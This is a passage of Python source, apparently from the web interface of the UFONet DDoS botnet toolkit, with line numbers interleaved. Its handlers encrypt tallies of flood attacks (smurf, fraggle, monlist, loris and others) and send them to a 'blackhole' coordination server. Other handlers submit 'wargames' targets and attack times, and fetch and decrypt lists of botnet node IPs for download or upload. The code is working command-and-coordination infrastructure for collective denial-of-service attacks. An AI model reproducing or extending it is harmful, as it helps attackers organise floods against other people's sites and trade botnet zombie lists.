self.encryptedtext = "" # clean encryptedtext buffer
5980
loic = stats_data["loic"]
5981
self.encrypt(grid_key, str(loic))
5982
if self.encryptedtext:
5983
loic = self.encryptedtext
5984
self.encryptedtext = "" # clean encryptedtext buffer
5985
loris = stats_data["loris"]
5986
self.encrypt(grid_key, str(loris))
5987
if self.encryptedtext:
5988
loris = self.encryptedtext
5989
self.encryptedtext = "" # clean encryptedtext buffer
5990
ufosyn = stats_data["ufosyn"]
5991
self.encrypt(grid_key, str(ufosyn))
5992
if self.encryptedtext:
5993
ufosyn = self.encryptedtext
5994
self.encryptedtext = "" # clean encryptedtext buffer
5995
spray = stats_data["spray"]
5996
self.encrypt(grid_key, str(spray))
5997
if self.encryptedtext:
5998
spray = self.encryptedtext
5999
self.encryptedtext = "" # clean encryptedtext buffer
6000
smurf = stats_data["smurf"]
6001
self.encrypt(grid_key, str(smurf))
6002
if self.encryptedtext:
6003
smurf = self.encryptedtext
6004
self.encryptedtext = "" # clean encryptedtext buffer
6005
xmas = stats_data["xmas"]
6006
self.encrypt(grid_key, str(xmas))
6007
if self.encryptedtext:
6008
xmas = self.encryptedtext
6009
self.encryptedtext = "" # clean encryptedtext buffer
6010
nuke = stats_data["nuke"]
6011
self.encrypt(grid_key, str(nuke))
6012
if self.encryptedtext:
6013
nuke = self.encryptedtext
6014
self.encryptedtext = "" # clean encryptedtext buffer
6015
tachyon = stats_data["tachyon"]
6016
self.encrypt(grid_key, str(tachyon))
6017
if self.encryptedtext:
6018
tachyon = self.encryptedtext
6019
self.encryptedtext = "" # clean encryptedtext buffer
6020
monlist = stats_data["monlist"]
6021
self.encrypt(grid_key, str(monlist))
6022
if self.encryptedtext:
6023
monlist = self.encryptedtext
6024
self.encryptedtext = "" # clean encryptedtext buffer
6025
fraggle = stats_data["fraggle"]
6026
self.encrypt(grid_key, str(fraggle))
6027
if self.encryptedtext:
6028
fraggle = self.encryptedtext
6029
self.encryptedtext = "" # clean encryptedtext buffer
6030
sniper = stats_data["sniper"]
6031
self.encrypt(grid_key, str(sniper))
6032
if self.encryptedtext:
6033
sniper = self.encryptedtext
6034
self.encryptedtext = "" # clean encryptedtext buffer
6035
ufoack = stats_data["ufoack"]
6036
self.encrypt(grid_key, str(ufoack))
6037
if self.encryptedtext:
6038
ufoack = self.encryptedtext
6039
self.encryptedtext = "" # clean encryptedtext buffer
6040
uforst = stats_data["uforst"]
6041
self.encrypt(grid_key, str(uforst))
6042
if self.encryptedtext:
6043
uforst = self.encryptedtext
6044
self.encryptedtext = "" # clean encryptedtext buffer
6045
droper = stats_data["droper"]
6046
self.encrypt(grid_key, str(droper))
6047
if self.encryptedtext:
6048
droper = self.encryptedtext
6049
self.encryptedtext = "" # clean encryptedtext buffer
6050
overlap = stats_data["overlap"]
6051
self.encrypt(grid_key, str(overlap))
6052
if self.encryptedtext:
6053
overlap = self.encryptedtext
6054
self.encryptedtext = "" # clean encryptedtext buffer
6055
pinger = stats_data["pinger"]
6056
self.encrypt(grid_key, str(pinger))
6057
if self.encryptedtext:
6058
pinger = self.encryptedtext
6059
self.encryptedtext = "" # clean encryptedtext buffer
6060
ufoudp = stats_data["ufoudp"]
6061
self.encrypt(grid_key, str(ufoudp))
6062
if self.encryptedtext:
6063
ufoudp = self.encryptedtext
6064
self.encryptedtext = "" # clean encryptedtext buffer
6065
contact = grid_data["grid_contact"].encode('utf-8')
6066
self.encrypt(grid_key, str(contact))
6067
if self.encryptedtext:
6068
contact = self.encryptedtext
6069
self.encryptedtext = "" # clean encryptedtext buffer
6070
id = grid_data["grid_token"] # plain text
6071
stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
6072
try:
6073
host = blackhole_ip
6074
cport = 9992 # port used by mothership grider (server side script)
6075
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6076
gs.settimeout(5.0)
6077
gs.connect((host, cport))
6078
gs.send(stream.encode())
6079
gs.close()
6080
try: # download latest grid after submit
6081
grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
6082
f = open(self.grid_file, "w") # write updates to grid.txt
6083
f.write(grid)
6084
f.close()
6085
except:
6086
pass
6087
grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
6088
except:
6089
grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
6090
except:
6091
grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
6092
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6093
f = open("/tmp/out", "w")
6094
f.write(grid_trans)
6095
f.write(end_mark)
6096
f.close()
6097
if page == "/cmd_transfer_grid_update":
6098
if not os.path.exists('/tmp/out'):
6099
open('/tmp/out', 'w').close()
6100
with open('/tmp/out', 'r') as f:
6101
self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
6102
if page == "/cmd_transfer_wargame":
6103
self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
6104
blackhole_ip = pGet["wargames_source2"]
6105
blackhole_ip = urllib.parse.unquote(blackhole_ip)
6106
try:
6107
wargames_enckey = pGet["wargames_enckey"]
6108
except:
6109
wargames_enckey = ""
6110
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
6111
wargames_target = pGet["wargames_target"].replace(" ","/")
6112
wargames_target=urllib.parse.unquote(wargames_target)
6113
if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
6114
t = urlparse(wargames_target)
6115
wargames_target = t.netloc
6116
else:
6117
wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
6118
wargames_enckey = ""
6119
if wargames_target.startswith("www."):
6120
wargames_target = wargames_target.replace("www.","")
6121
wargames_estimated = pGet["wargames_estimated"]
6122
try:
6123
wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
6124
wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
6125
if (wargames_creation > wargames_estimated) == True: # parse bad dates
6126
wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
6127
wargames_enckey = ""
6128
except:
6129
wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
6130
wargames_enckey = ""
6131
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6132
if wargames_enckey != "": # stream creation + encryption + package send
6133
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
6134
wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
6135
try:
6136
self.encrypt(wargames_enckey, wargames_creation)
6137
if self.encryptedtext:
6138
wargames_creation = self.encryptedtext
6139
self.encryptedtext = "" # clean encryptedtext buffer
6140
self.encrypt(wargames_enckey, wargames_target)
6141
if self.encryptedtext:
6142
wargames_target = self.encryptedtext
6143
self.encryptedtext = "" # clean encryptedtext buffer
6144
self.encrypt(wargames_enckey, wargames_estimated)
6145
if self.encryptedtext:
6146
wargames_estimated = self.encryptedtext
6147
self.encryptedtext = "" # clean encryptedtext buffer
6148
stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
6149
try:
6150
host = blackhole_ip
6151
cport = 9992 # port used by mothership grider (server side script)
6152
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6153
gs.settimeout(5.0)
6154
gs.connect((host, cport))
6155
gs.send(stream.encode())
6156
gs.close()
6157
try: # download latest wargames after submit
6158
wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
6159
f = open(self.wargames_file, "w") # write updates to wargames.txt
6160
f.write(wargames)
6161
f.close()
6162
except:
6163
pass
6164
wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
6165
except:
6166
wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
6167
except:
6168
wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
6169
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6170
f = open("/tmp/out", "w")
6171
f.write(wargames_trans)
6172
f.write(end_mark)
6173
f.close()
6174
if page == "/cmd_transfer_wargame_update":
6175
if not os.path.exists('/tmp/out'):
6176
open('/tmp/out', 'w').close()
6177
with open('/tmp/out', 'r') as f:
6178
self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
6179
if page == "/cmd_transfer_link":
6180
self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
6181
blackhole_ip = pGet["link_source2"]
6182
blackhole_ip = urllib.parse.unquote(blackhole_ip)
6183
try:
6184
link_enckey = pGet["link_enckey"]
6185
except:
6186
link_enckey = ""
6187
link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
6188
link_url = pGet["link_url"].replace(" ","/")
6189
link_url=urllib.parse.unquote(link_url)
6190
if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
6191
pass
6192
else:
6193
links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
6194
link_enckey = ""
6195
if link_url.startswith("www."):
6196
link_url = link_url.replace("www.","")
6197
link_topic = pGet["link_topic"]
6198
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6199
if link_enckey != "": # stream creation + encryption + package send
6200
try:
6201
self.encrypt(link_enckey, link_creation)
6202
if self.encryptedtext:
6203
link_creation = self.encryptedtext
6204
self.encryptedtext = "" # clean encryptedtext buffer
6205
self.encrypt(link_enckey, link_url)
6206
if self.encryptedtext:
6207
link_url = self.encryptedtext
6208
self.encryptedtext = "" # clean encryptedtext buffer
6209
self.encrypt(link_enckey, link_topic)
6210
if self.encryptedtext:
6211
link_topic = self.encryptedtext
6212
self.encryptedtext = "" # clean encryptedtext buffer
6213
stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
6214
try:
6215
host = blackhole_ip
6216
cport = 9992 # port used by mothership grider (server side script)
6217
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6218
gs.settimeout(5.0)
6219
gs.connect((host, cport))
6220
gs.send(stream.encode())
6221
gs.close()
6222
try: # download latest links after submit
6223
links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
6224
f = open(self.links_file, "w") # write updates to links.txt
6225
f.write(links)
6226
f.close()
6227
except:
6228
pass
6229
links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
6230
except:
6231
links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
6232
except:
6233
links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
6234
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6235
f = open("/tmp/out", "w")
6236
f.write(links_trans)
6237
f.write(end_mark)
6238
f.close()
6239
if page == "/cmd_transfer_link_update":
6240
if not os.path.exists('/tmp/out'):
6241
open('/tmp/out', 'w').close()
6242
with open('/tmp/out', 'r') as f:
6243
self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
6244
if page == "/cmd_transfer_stream":
6245
self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
6246
blackhole_ip = pGet["stream_source2"]
6247
blackhole_ip = urllib.parse.unquote(blackhole_ip)
6248
try:
6249
stream_enckey = pGet["stream_enckey"]
6250
except:
6251
stream_enckey = ""
6252
stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
6253
stream_url = pGet["stream_url"].replace(" ","/")
6254
stream_url=urllib.parse.unquote(stream_url)
6255
if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
6256
pass
6257
else:
6258
streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
6259
stream_enckey = ""
6260
if stream_url.startswith("www."):
6261
stream_url = stream_url.replace("www.","")
6262
stream_topic = pGet["stream_topic"]
6263
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6264
if stream_enckey != "": # stream creation + encryption + package send
6265
try:
6266
self.encrypt(stream_enckey, stream_creation)
6267
if self.encryptedtext:
6268
stream_creation = self.encryptedtext
6269
self.encryptedtext = "" # clean encryptedtext buffer
6270
self.encrypt(stream_enckey, stream_url)
6271
if self.encryptedtext:
6272
stream_url = self.encryptedtext
6273
self.encryptedtext = "" # clean encryptedtext buffer
6274
self.encrypt(stream_enckey, stream_topic)
6275
if self.encryptedtext:
6276
stream_topic = self.encryptedtext
6277
self.encryptedtext = "" # clean encryptedtext buffer
6278
stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
6279
try:
6280
host = blackhole_ip
6281
cport = 9992 # port used by mothership grider (server side script)
6282
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6283
gs.settimeout(5.0)
6284
gs.connect((host, cport))
6285
gs.send(stream.encode())
6286
gs.close()
6287
try: # download latest links after submit
6288
streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
6289
f = open(self.streams_file, "w") # write updates to streams.txt
6290
f.write(streams)
6291
f.close()
6292
except:
6293
pass
6294
streams_trans = "[Info] [AI] Stream transferred! -> [OK!]\n"
6295
except:
6296
streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
6297
except:
6298
streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
6299
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6300
f = open("/tmp/out", "w")
6301
f.write(streams_trans)
6302
f.write(end_mark)
6303
f.close()
6304
if page == "/cmd_transfer_stream_update":
6305
if not os.path.exists('/tmp/out'):
6306
open('/tmp/out', 'w').close()
6307
with open('/tmp/out', 'r') as f:
6308
self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
6309
if page == "/cmd_transfer_globalnet":
6310
self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
6311
blackhole_ip = pGet["globalnet_source2"]
6312
globalnet_deckey = crypto_key
6313
nodec_text = "*** [This message cannot be solved with that KEY...]"
6314
blackhole_ip = urllib.parse.unquote(blackhole_ip)
6315
blackhole_flag = False # used to check for repetitions
6316
blackhole_ip_list = [] # used to check for repetitions
6317
self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
6318
for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
6319
if globalnet_msg_sep in m:
6320
m = m.split(globalnet_msg_sep)
6321
globalnet_owner = m[0] # owner
6322
self.decrypt(globalnet_deckey, globalnet_owner)
6323
if self.decryptedtext:
6324
globalnet_owner = self.decryptedtext
6325
else:
6326
globalnet_owner = nodec_text
6327
self.decryptedtext = "" # clean decryptedtext buffer
6328
globalnet_comment = m[1] # comment
6329
self.decrypt(globalnet_deckey, globalnet_comment)
6330
if self.decryptedtext:
6331
globalnet_comment = self.decryptedtext
6332
else:
6333
globalnet_comment = nodec_text
6334
self.decryptedtext = "" # clean decryptedtext buffer
6335
globalnet_warp = m[2] # warp
6336
self.decrypt(globalnet_deckey, globalnet_warp)
6337
if self.decryptedtext:
6338
globalnet_warp = self.decryptedtext
6339
else:
6340
globalnet_warp = nodec_text
6341
if globalnet_warp == "OFF":
6342
warp_color = "pink"
6343
elif globalnet_warp == "ON1":
6344
warp_color = "orange"
6345
else: # ON2
6346
warp_color = "blue"
6347
self.decryptedtext = "" # clean decryptedtext buffer
6348
globalnet_ip = m[3] # ip
6349
self.decrypt(globalnet_deckey, globalnet_ip)
6350
if self.decryptedtext:
6351
globalnet_ip = self.decryptedtext
6352
else:
6353
globalnet_ip = nodec_text
6354
self.decryptedtext = "" # clean decryptedtext buffer
6355
if globalnet_ip == blackhole_ip: # only add NEW blackholes into the list
6356
blackhole_flag = True
6357
else:
6358
if globalnet_ip in blackhole_ip_list:
6359
blackhole_flag = True
6360
else:
6361
blackhole_ip_list.append(globalnet_ip)
6362
try:
6363
globalnet_enckey = pGet["globalnet_enckey"]
6364
except:
6365
globalnet_enckey = ""
6366
globalnet_owner = pGet["globalnet_owner"]
6367
if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
6368
globalnet_owner = "Anonymous"
6369
globalnet_comment = pGet["globalnet_comment"]
6370
if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
6371
globalnet_comment = "-"
6372
globalnet_warp = pGet["globalnet_warp"]
6373
try:
6374
globalnet_ip = requests.get(check_ip_service3).text
6375
except:
6376
try:
6377
globalnet_ip = requests.get(check_ip_service2).text
6378
except:
6379
try:
6380
globalnet_ip = requests.get(check_ip_service1).text
6381
except:
6382
globalnet_ip = "Unknown!"
6383
if blackhole_flag == False: # only add NEW blackholes/IPs into the list
6384
if globalnet_enckey != "": # stream creation + encryption + package send
6385
try:
6386
self.encrypt(globalnet_enckey, globalnet_owner)
6387
if self.encryptedtext:
6388
globalnet_owner = self.encryptedtext
6389
self.encryptedtext = "" # clean encryptedtext buffer
6390
self.encrypt(globalnet_enckey, globalnet_comment)
6391
if self.encryptedtext:
6392
globalnet_comment = self.encryptedtext
6393
self.encryptedtext = "" # clean encryptedtext buffer
6394
self.encrypt(globalnet_enckey, globalnet_warp)
6395
if self.encryptedtext:
6396
globalnet_warp = self.encryptedtext
6397
self.encryptedtext = "" # clean encryptedtext buffer
6398
self.encrypt(globalnet_enckey, globalnet_ip)
6399
if self.encryptedtext:
6400
globalnet_ip = self.encryptedtext
6401
self.encryptedtext = "" # clean encryptedtext buffer
6402
stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
6403
try:
6404
host = blackhole_ip
6405
cport = 9992 # port used by mothership grider (server side script)
6406
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6407
gs.settimeout(5.0)
6408
gs.connect((host, cport))
6409
gs.send(stream.encode())
6410
gs.close()
6411
try: # download latest globalnet after submit
6412
globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
6413
f = open(self.globalnet_file, "w") # write updates to globalnet.txt
6414
f.write(globalnet)
6415
f.close()
6416
except:
6417
pass
6418
globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
6419
except:
6420
globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
6421
except:
6422
globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
6423
else: # blackhole/ip is into 'globalnet.txt' file
6424
globalnet_trans = "[Error] [AI] Your 'Blackhole/IP' is currently into the list. Aborting...\n"
6425
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6426
f = open("/tmp/out", "w")
6427
f.write(globalnet_trans)
6428
f.write(end_mark)
6429
f.close()
6430
if page == "/cmd_transfer_globalnet_update":
6431
if not os.path.exists('/tmp/out'):
6432
open('/tmp/out', 'w').close()
6433
with open('/tmp/out', 'r') as f:
6434
self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
6435
if page == "/cmd_sync_board":
6436
self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
6437
blackhole_ip = pGet["board_source"]
6438
blackhole_ip = urllib.parse.unquote(blackhole_ip)
6439
try:
6440
board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
6441
f = open(self.board_file, "w") # write updates to board.txt
6442
f.write(board)
6443
f.close()
6444
self.board_text = board
6445
except:
6446
board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
6447
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6448
f = open("/tmp/out", "w")
6449
f.write(str(board))
6450
f.write(end_mark)
6451
f.close()
6452
if page == "/cmd_sync_board_update":
6453
if not os.path.exists('/tmp/out'):
6454
open('/tmp/out', 'w').close()
6455
with open('/tmp/out', 'r') as f:
6456
stream = f.read()
6457
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
6458
self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
6459
if page == "/cmd_send_message_board":
6460
self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
6461
blackhole_ip = pGet["board_source"]
6462
blackhole_ip = urllib.parse.unquote(blackhole_ip)
6463
try:
6464
board_key = pGet["board_key"]
6465
except:
6466
board_key = ""
6467
try:
6468
board_topic = pGet["board_topic"]
6469
except:
6470
board_topic = ""
6471
try:
6472
board_message = pGet["stream_txt"]
6473
except:
6474
board_message = ""
6475
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
6476
if board_key != "" or board_topic != "" or board_message != "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
6477
try:
6478
board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
6479
board_data = json.load(board_json_file)
6480
board_json_file.close()
6481
board_nickname = board_data["profile_nick"]
6482
self.encrypt(board_key, board_nickname)
6483
if self.encryptedtext:
6484
board_nickname = self.encryptedtext
6485
self.encryptedtext = "" # clean encryptedtext buffer
6486
board_icon = board_data["profile_icon"]
6487
board_icon = board_icon.replace("link", "") # keep just icon number
6488
board_id = board_data["profile_token"]
6489
self.encrypt(board_key, board_message)
6490
if self.encryptedtext:
6491
board_message = self.encryptedtext
6492
self.encryptedtext = "" # clean encryptedtext buffer
6493
if board_topic == "general":
6494
board_topic = 1
6495
elif board_topic == "opsec":
6496
board_topic = 2
6497
elif board_topic == "faq":
6498
board_topic = 3
6499
elif board_topic == "bugs":
6500
board_topic = 4
6501
elif board_topic == "media":
6502
board_topic = 5
6503
else:
6504
board_topic = 1
6505
stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
6506
try:
6507
host = blackhole_ip
6508
cport = 9992 # port used by mothership grider (server side script)
6509
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6510
gs.settimeout(30)
6511
gs.connect((host, cport))
6512
gs.send(stream.encode())
6513
gs.close()
6514
try: # download latest board after submit
6515
board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
6516
f = open(self.board_file, "w") # write updates to board.txt
6517
f.write(board)
6518
f.close()
6519
except:
6520
pass
6521
board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
6522
except:
6523
board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
6524
except:
6525
board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
6526
f = open("/tmp/out", "w")
6527
f.write(board_trans)
6528
f.write(end_mark)
6529
f.close()
6530
if page == "/cmd_send_message_board_update":
6531
if not os.path.exists('/tmp/out'):
6532
open('/tmp/out', 'w').close()
6533
with open('/tmp/out', 'r') as f:
6534
self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
6535
if page == "/cmd_decrypt":
6536
self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
6537
try:
6538
news_key = pGet["news_key"]
6539
except:
6540
news_key = ""
6541
try:
6542
missions_key = pGet["missions_key"]
6543
except:
6544
missions_key = ""
6545
end_mark = "\n[Info] [AI] End of decryption."
6546
if news_key != "": # news decryption
6547
self.decrypted_news = []
6548
nodec_text = "*** [This message cannot be solved with that KEY...]"
6549
news_key = pGet["news_key"]
6550
for news_text in self.list_news:
6551
self.decrypt(news_key, news_text)
6552
if self.decryptedtext:
6553
if len(self.decryptedtext) < 2:
6554
self.decrypted_news.append(nodec_text)
6555
else:
6556
self.decrypted_news.append(self.decryptedtext)
6557
else:
6558
self.decrypted_news.append(nodec_text)
6559
self.decryptedtext = "" # clean decryptedtext buffer
6560
f = open("/tmp/out", "w")
6561
num_news = 0 # news counter
6562
for m in self.decrypted_news:
6563
num_news = num_news + 1
6564
f.write("["+str(num_news)+"] " + str(m)+"\n")
6565
f.write(end_mark)
6566
f.close()
6567
else:
6568
if missions_key != "": # missions decryption
6569
self.decrypted_missions = []
6570
nodec_text = "*** [This message cannot be solved with that KEY...]"
6571
missions_key = pGet["missions_key"]
6572
for missions_text in self.list_missions:
6573
self.decrypt(missions_key, missions_text)
6574
if self.decryptedtext:
6575
if len(self.decryptedtext) < 2:
6576
self.decrypted_missions.append(nodec_text)
6577
else:
6578
self.decrypted_missions.append(self.decryptedtext)
6579
else:
6580
self.decrypted_missions.append(nodec_text)
6581
self.decryptedtext = "" # clean decryptedtext buffer
6582
f = open("/tmp/out", "w")
6583
num_mission = 0 # missions counter
6584
for m in self.decrypted_missions:
6585
num_mission = num_mission + 1
6586
f.write("["+str(num_mission)+"] " + str(m)+"\n")
6587
f.write(end_mark)
6588
f.close()
6589
else: # blackholes (nodes) decryption + data showing
6590
self.decrypted_blackholes = []
6591
nodec_text = "*** [This message cannot be solved with that key...]"
6592
blackhole_key = pGet["blackhole_key"]
6593
for blackholes_text in self.list_blackholes:
6594
self.decrypt(blackhole_key, blackholes_text)
6595
if self.decryptedtext:
6596
self.decrypted_blackholes.append(self.decryptedtext)
6597
else:
6598
self.decrypted_blackholes.append(nodec_text)
6599
self.decryptedtext = "" # clean decryptedtext buffer
6600
f = open("/tmp/out", "w")
6601
num_blackholes = 0 # blackholes counter
6602
single_ip_num = 0
6603
for b in self.decrypted_blackholes:
6604
num_blackholes = num_blackholes + 1
6605
if blackhole_sep in b: # IP | Mode | Comment | Actions
6606
s = b.rsplit(blackhole_sep, 1)[0]
6607
ip = str(s.rsplit(blackhole_sep, 1)[0])
6608
single_ip = ip.replace("IP:","")
6609
single_ip_num = single_ip_num + 1
6610
mode = str(s.rsplit(blackhole_sep, 1)[1])
6611
if mode == "D": # Download only mode
6612
mode = "<input type='hidden' name='down_ip_"+str(single_ip_num)+"' id='down_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Download_Botnet_IP("+str(single_ip_num)+")'>Download</button>"
6613
elif mode == "U": # Upload only mode
6614
mode = "<input type='hidden' name='up_ip_"+str(single_ip_num)+"' id='up_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Upload_Botnet_IP("+str(single_ip_num)+")'>Upload</button>"
6615
else: # Download/Upload mode
6616
mode = "<input type='hidden' name='down_ip_"+str(single_ip_num)+"' id='down_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Download_Botnet_IP("+str(single_ip_num)+")'>Download</button>" + " - " + "<input type='hidden' name='up_ip_"+str(single_ip_num)+"' id='up_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Upload_Botnet_IP("+str(single_ip_num)+")'>Upload</button>"
6617
comment = str(b.rsplit(blackhole_sep, 1)[1])
6618
b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
6619
f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
6620
else:
6621
f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
6622
f.write(end_mark)
6623
f.close()
6624
if page == "/cmd_decrypt_update":
6625
if not os.path.exists('/tmp/out'):
6626
open('/tmp/out', 'w').close()
6627
with open('/tmp/out', 'r') as f:
6628
self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
6629
if page == "/news":
6630
self.pages["/news"] = self.html_news()
6631
if page == "/tv":
6632
self.pages["/tv"] = self.html_tv()
6633
if page == "/missions":
6634
self.pages["/missions"] = self.html_missions()
6635
if page == "/board":
6636
self.pages["/board"] = self.html_board()
6637
if page == "/grid":
6638
self.pages["/grid"] = self.html_grid()
6639
if page == "/wargames":
6640
self.pages["/wargames"] = self.html_wargames()
6641
if page == "/links":
6642
self.pages["/links"] = self.html_links()
6643
if page == "/streams":
6644
self.pages["/streams"] = self.html_streams()
6645
if page == "/games":
6646
self.pages["/games"] = self.html_games()
6647
if page == "/spaceinvaders":
6648
self.pages["/spaceinvaders"] = self.html_spaceinvaders()
6649
if page == "/browser":
6650
self.pages["/browser"] = self.html_browser()
6651
if page == "/radar":
6652
self.pages["/radar"] = self.html_globalnet()
6653
if page == "/grid_profile":
6654
if pGet=={}:
6655
self.pages["/grid_profile"] = self.html_grid_profile()
6656
else:
6657
self.save_grid(pGet)
6658
self.pages["/grid_profile"] = self.html_grid_profile_submit()
6659
if page == "/board_profile":
6660
if pGet =={}:
6661
self.pages["/board_profile"] = self.html_board_profile()
6662
else:
6663
self.save_profile(pGet)
6664
self.pages["/board_profile"] = self.html_board_profile_submit()
6665
if page == "/board_remove":
6666
self.pages["/board_remove"] = self.html_board_remove()
6667
if page == "/grid_remove":
6668
self.pages["/grid_remove"] = self.html_grid_remove()
6669
if page == "/cmd_decrypt_moderator_board":
6670
self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
6671
try:
6672
board_key = pGet["board_key"]
6673
except:
6674
board_key = ""
6675
try:
6676
filter = pGet["filter"]
6677
